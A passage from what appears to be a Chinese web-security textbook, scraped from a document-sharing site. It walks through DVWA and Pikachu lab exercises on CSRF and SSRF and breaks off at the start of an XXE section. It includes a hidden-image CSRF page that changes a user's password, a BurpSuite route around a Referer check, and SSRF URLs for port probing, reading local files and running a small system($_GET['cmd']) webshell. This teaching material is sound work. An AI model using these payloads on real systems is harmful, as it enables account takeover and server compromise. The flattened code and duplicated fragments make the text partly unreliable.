{//
They
do!$pass_new
=
((isset($GLOBALS["___mysqli_ston"])
&&
is_object($GLOBALS["___mysqli_ston"]))
?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],
$pass_new
)
:
((trigger_error("[MySQLConverterToo]
Fix
the
mysql_escape_string()
call!
This
code
does
not
work.",
E_USER_ERROR))
?
""
:
""));$pass_new
=
md5(
$pass_new
);//
Update
the
database$current_user
=
dvwaCurrentUser();$insert
=
"UPDATE
`users`
SET
password
=
'$pass_new'
WHERE
user
=
'"
.
$current_user
.
"';";$result
=
mysqli_query($GLOBALS["___mysqli_ston"],
$insert
)
or
die(
'<pre>'
.
((is_object($GLOBALS["___mysqli_ston"]))
?
mysqli_error($GLOBALS["___mysqli_ston"])
:
(($___mysqli_res
=
mysqli_connect_error())
?
$___mysqli_res
:
false))
.
'</pre>'
);//
Feedback
for
the
userecho
"<pre>Password
Changed.</pre>";}else
{//
Issue
with
passwords
matchingecho
"<pre>Passwords
did
not
match.</pre>";}((is_null($___mysqli_res
=
mysqli_close($GLOBALS["___mysqli_ston"])))
?
false
:
$___mysqli_res);}?>從源代碼可以看出,這里只是對(duì)用戶輸入的兩個(gè)密碼進(jìn)行判斷,看是否相等。不相等就提示密碼不匹配;相等的話,查看有沒(méi)有設(shè)置數(shù)據(jù)庫(kù)連接的全局變量和其是否為一個(gè)對(duì)象。如果是,則用mysqli_real_escape_string()函數(shù)去轉(zhuǎn)義一些字符,如果不是,則輸出錯(cuò)誤。是同一個(gè)對(duì)象的話,再用md5進(jìn)行加密,再更新數(shù)據(jù)庫(kù)。幾乎沒(méi)有做任何防范,因此就可輕易地進(jìn)行CSRF攻擊。(5)繞過(guò)CSRF漏洞的防范措施①在DVWASecurity當(dāng)中選擇“medium”選項(xiàng),并提交,然后選擇“CSRF”選項(xiàng)。通過(guò)查看源代碼可以看出,其必low級(jí)別的源代碼增加了對(duì)用戶請(qǐng)求頭中的Referer參數(shù)進(jìn)行驗(yàn)證,代碼如下。if(
stripos(
$_SERVER[
'HTTP_REFERER'
]
,$_SERVER[
'SERVER_NAME'
])
!==
false
)即用戶的請(qǐng)求頭中的Referer參數(shù)必須包含服務(wù)器的名字SERVER_NAME。if(
stripos(
$_SERVER[
'HTTP_REFERER'
]
,$_SERVER[
'SERVER_NAME'
])
!==
false
)此時(shí),在另外一個(gè)標(biāo)簽頁(yè)的URL中輸入:70/vulnerabilities/csrf/?password_new=password&password_conf=&Change=Change#70/vulnerabilities/csrf/?password_new=password&password_conf=&Change=Change#系統(tǒng)會(huì)報(bào)錯(cuò),如圖7-38所示,即沒(méi)有定義HttpReferer字段。圖7-38系統(tǒng)報(bào)錯(cuò),沒(méi)有定義HttpReferer字段采用此種方法能防范直接點(diǎn)擊鏈接進(jìn)行CSRF漏洞利用的情形,但可通過(guò)BurpSuite修改HTTP頭繞過(guò)。②利用BurpSuite修改HTTP頭繞過(guò)Referer字段限制。在正常頁(yè)面中的Newpassword和Confirmnewpassword輸入框中,分別輸入password,在URL中會(huì)出現(xiàn)如下內(nèi)容。70/vulnerabilities/csrf/?password_new=password&password_conf=&Change=Change#70/vulnerabilities/csrf/?password_new=password&password_conf=&Change=Change#此時(shí),通過(guò)BurpSuite抓包分析,就會(huì)在HTTP頭中看到Referer關(guān)鍵字引導(dǎo)的內(nèi)容,如圖7-39所示。圖7-39通過(guò)BurpSuite修改請(qǐng)求數(shù)據(jù)報(bào)文③構(gòu)造攻擊頁(yè)面繞過(guò),在服務(wù)器的DVWA目錄下建立70.html文件(IP地址為攻擊者服務(wù)器地址),內(nèi)容如下。<html><html><head></head><body><imgsrc="70/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"border="0"style="display:none;"/><h1>filenotfound</h1></body></html>在瀏覽器中訪問(wèn)70/70.html,同樣能成功修改密碼。(注:此html文件放在攻擊者服務(wù)器中,名字就是具有CSRF漏洞的IP地址.html,html文件中img屬性的src的IP地址也要指向具有CSRF漏洞的IP地址。)(6)CSRF漏洞的防范措施與注意事項(xiàng)在DVWASecurity當(dāng)中選擇“high”選項(xiàng),并提交。然后選擇“CSRF”選項(xiàng),因?yàn)镠igh級(jí)別的代碼中加入了Token機(jī)制,用戶每次訪問(wèn)該密碼頁(yè)面時(shí),服務(wù)器會(huì)返回一個(gè)隨機(jī)的Token。向服務(wù)器發(fā)起請(qǐng)求時(shí),需要提交Token參數(shù),而服務(wù)器在收到請(qǐng)求時(shí),會(huì)優(yōu)先檢查Token,只有Token正確,才會(huì)處理客戶端的請(qǐng)求。Token機(jī)制是防范CSRF的有效機(jī)制,而要繞過(guò)這一防范機(jī)制,需要獲取Token,由于同源策略的有限,需要注入文件到存在CSRF文件的服務(wù)器上才能獲取Token,即僅利用CSRF漏洞是難以實(shí)現(xiàn)的,因此利用Token機(jī)制安全有效。2.SSRF漏洞的攻擊示例(1)登錄Pikachu漏洞平臺(tái),進(jìn)入SSRF頁(yè)面在URL地址中輸入/pkmaster/vul/ssrf/ssrf_curl.php,出現(xiàn)如圖7-40所示界面。圖7-40SSRF鏈接圖(一)單擊“累了吧,來(lái)讀一首詩(shī)吧”文字鏈接,請(qǐng)求鏈接變?yōu)?pkmaster/vul/ssrf/ssrf_curl.php?url=/pkmaster/vul/ssrf/ssrf_info/info1.php,如圖7-41所示。可以發(fā)現(xiàn)該請(qǐng)求發(fā)送了一個(gè)url參數(shù),參數(shù)的值為url=/pkmaster/vul/ssrf/ssrf_info/info1.php。圖7-41SSRF鏈接圖(二)如果服務(wù)器后臺(tái)代碼對(duì)參數(shù)URL過(guò)濾不嚴(yán)格將導(dǎo)致黑客可通過(guò)該參數(shù)進(jìn)行攻擊。下面給出常見(jiàn)的SSRF漏洞的攻擊方式。(2)端口探測(cè)用戶可以構(gòu)造內(nèi)網(wǎng)中服務(wù)器的端口情況,本案例使用本機(jī)的MYSQL數(shù)據(jù)庫(kù)探測(cè)進(jìn)行演示,構(gòu)造URL為/pkmaster/vul/ssrf/ssrf_curl.php?url=:3306探測(cè)結(jié)果如圖7-42所示,通過(guò)探測(cè)可以發(fā)現(xiàn)存在MYSQL數(shù)據(jù)庫(kù),且版本號(hào)為5.7.26。如果訪問(wèn)的端口長(zhǎng)時(shí)間沒(méi)有響應(yīng),則說(shuō)明該系統(tǒng)的指定端口不存在。圖7-42SSRF探測(cè)MYSQL(3)訪問(wèn)其他網(wǎng)站通過(guò)SSRF漏洞可以訪問(wèn)很多其他網(wǎng)站,例如我們傳入一個(gè)百度地址來(lái)進(jìn)行測(cè)試,在URL中輸入地址/pkmaster/vul/ssrf/ssrf_curl.php?url=會(huì)直接把百度首頁(yè)的數(shù)據(jù)顯示出來(lái),這個(gè)流程不是我們?yōu)g覽器直接去請(qǐng)求百度,而是我們的瀏覽器把這個(gè)參數(shù)傳到了后端,后端的服務(wù)器通過(guò)curl_exec,用這個(gè)方法去請(qǐng)求百度,然后把百度返回的數(shù)據(jù)又返回到了前端,顯示結(jié)果如圖7-43所示。圖7-43SSRF訪問(wèn)百度頁(yè)面(4)讀取文件通過(guò)SSRF漏洞可以讀取文件,但是該文件通常使用file偽協(xié)議完成,構(gòu)造的攻擊鏈接為/pkmaster/vul/ssrf/ssrf_curl.php?url=file://D:\1.txt(在D盤創(chuàng)建1.txt文件),訪問(wèn)結(jié)果如圖7-44所示,成功讀取了D盤下的1.txt文件內(nèi)容。圖7-44SSRF讀取文件(5)執(zhí)行PHP文件通過(guò)SSRF漏洞可以執(zhí)行PHP文件,執(zhí)行的PHP文件可以與命令執(zhí)行漏洞或一句話木馬連用,從而執(zhí)行Webshell等攻擊代碼并控制服務(wù)器。這里給出構(gòu)造的攻擊鏈接為/pkmaster/vul/ssrf/ssrf_curl.php?url=/1.php?cmd=whoami,訪問(wèn)結(jié)果如圖7-45所示,成功執(zhí)行了網(wǎng)站根路徑下的1.php文件,并通過(guò)傳遞參數(shù)cmd執(zhí)行了whoami命令,當(dāng)前用戶為administrator。圖7-45SSRF執(zhí)行PHP文件其中1.php文件代碼如下,該代碼存在命令執(zhí)行漏洞。<?php<?php$arg=$_GET['cmd'];if($arg){system($arg);}?>(6)對(duì)上述情況進(jìn)行白盒審計(jì)分析上述代碼使用curl_*()函數(shù)進(jìn)行網(wǎng)絡(luò)數(shù)據(jù)設(shè)置并發(fā)送請(qǐng)求,傳遞HTTP的請(qǐng)求參數(shù)URL加載網(wǎng)絡(luò)資源。<?php$url=$_GET['url'];<?php$url=$_GET['url'];$ch=curl_init($url);//根據(jù)參數(shù)url初始化一個(gè)url會(huì)話,返回一個(gè)CURL句柄curl_setopt($ch,CURLOPT_HEADER,0);//設(shè)置發(fā)送請(qǐng)求的HTTP頭數(shù)組curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//將curl_exec()獲取的信息以文件流的形式返回,而不直接輸出$result=curl_exec($ch);//執(zhí)行請(qǐng)求curl_close($ch);//關(guān)閉請(qǐng)求echo($result);//打印請(qǐng)求結(jié)果?>1.XXE概述XXE-"xmlexternalentityinjection"即"xml外部實(shí)體注入漏洞"。概括一下就是"攻擊者通過(guò)向服務(wù)器注入指定的xml實(shí)體內(nèi)容,從而讓服務(wù)器按照指定的配置進(jìn)行執(zhí)行,導(dǎo)致問(wèn)題"也就是說(shuō)服務(wù)端接收和解析了來(lái)自用戶端的xml數(shù)據(jù),而又沒(méi)有做嚴(yán)格的安全控制,從而導(dǎo)致xml外部實(shí)體注入。xml是一種可拓展的標(biāo)記語(yǔ)言,可以用來(lái)存儲(chǔ)數(shù)據(jù),例如:我們經(jīng)??吹揭恍?xml的文件;它還可以用來(lái)傳輸數(shù)據(jù),我們可以直接將數(shù)據(jù)以xml的格式放在請(qǐng)求當(dāng)中,發(fā)給服務(wù)器。XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 教師聘期個(gè)人工作總結(jié)(9篇)
- 財(cái)務(wù)顧問(wèn)合同書(shū)協(xié)議書(shū)模板
- 庫(kù)管述職報(bào)告(19篇)
- 建筑施工安全培訓(xùn)的目標(biāo)與實(shí)施步驟試題及答案
- 土木工程中計(jì)算軟件應(yīng)用試題及答案
- 小車電腦考試試題及答案
- 大學(xué)化學(xué)考試創(chuàng)新能力試題及答案
- 企業(yè)危機(jī)應(yīng)對(duì)的試題及答案
- 小學(xué)教師教育教學(xué)反思與改進(jìn)策略結(jié)合現(xiàn)實(shí)需求試題及答案
- 歷屆高中語(yǔ)文試題及答案
- 某院護(hù)理人員對(duì)常用中醫(yī)護(hù)理技術(shù)知信行現(xiàn)狀研究【復(fù)制】
- 《西游記》講解學(xué)習(xí)
- 江蘇省蘇州市(2024年-2025年小學(xué)六年級(jí)語(yǔ)文)部編版小升初真題(下學(xué)期)試卷及答案
- 乳酸性酸中毒護(hù)理
- 部編版小學(xué)語(yǔ)文四年級(jí)下冊(cè)教師教學(xué)用書(shū)
- DB36T 540-2017 汽車維修連鎖經(jīng)營(yíng)服務(wù)規(guī)范
- 《海航集團(tuán)案例》課件
- 電力系統(tǒng)繼電保護(hù)課后習(xí)題解析(第二版)-張保會(huì)-尹項(xiàng)根主編
- 體育講座培訓(xùn)課件
- 機(jī)動(dòng)車鑒定評(píng)估技能競(jìng)賽考試題庫(kù)500題(含答案)
- 【工程法規(guī)】王欣 教材精講班課件 40-第6章-6.5-施工生產(chǎn)安全事故的應(yīng)急救援和調(diào)查處理-6.6-政府主管部門安全生產(chǎn)監(jiān)督管理
評(píng)論
0/150
提交評(píng)論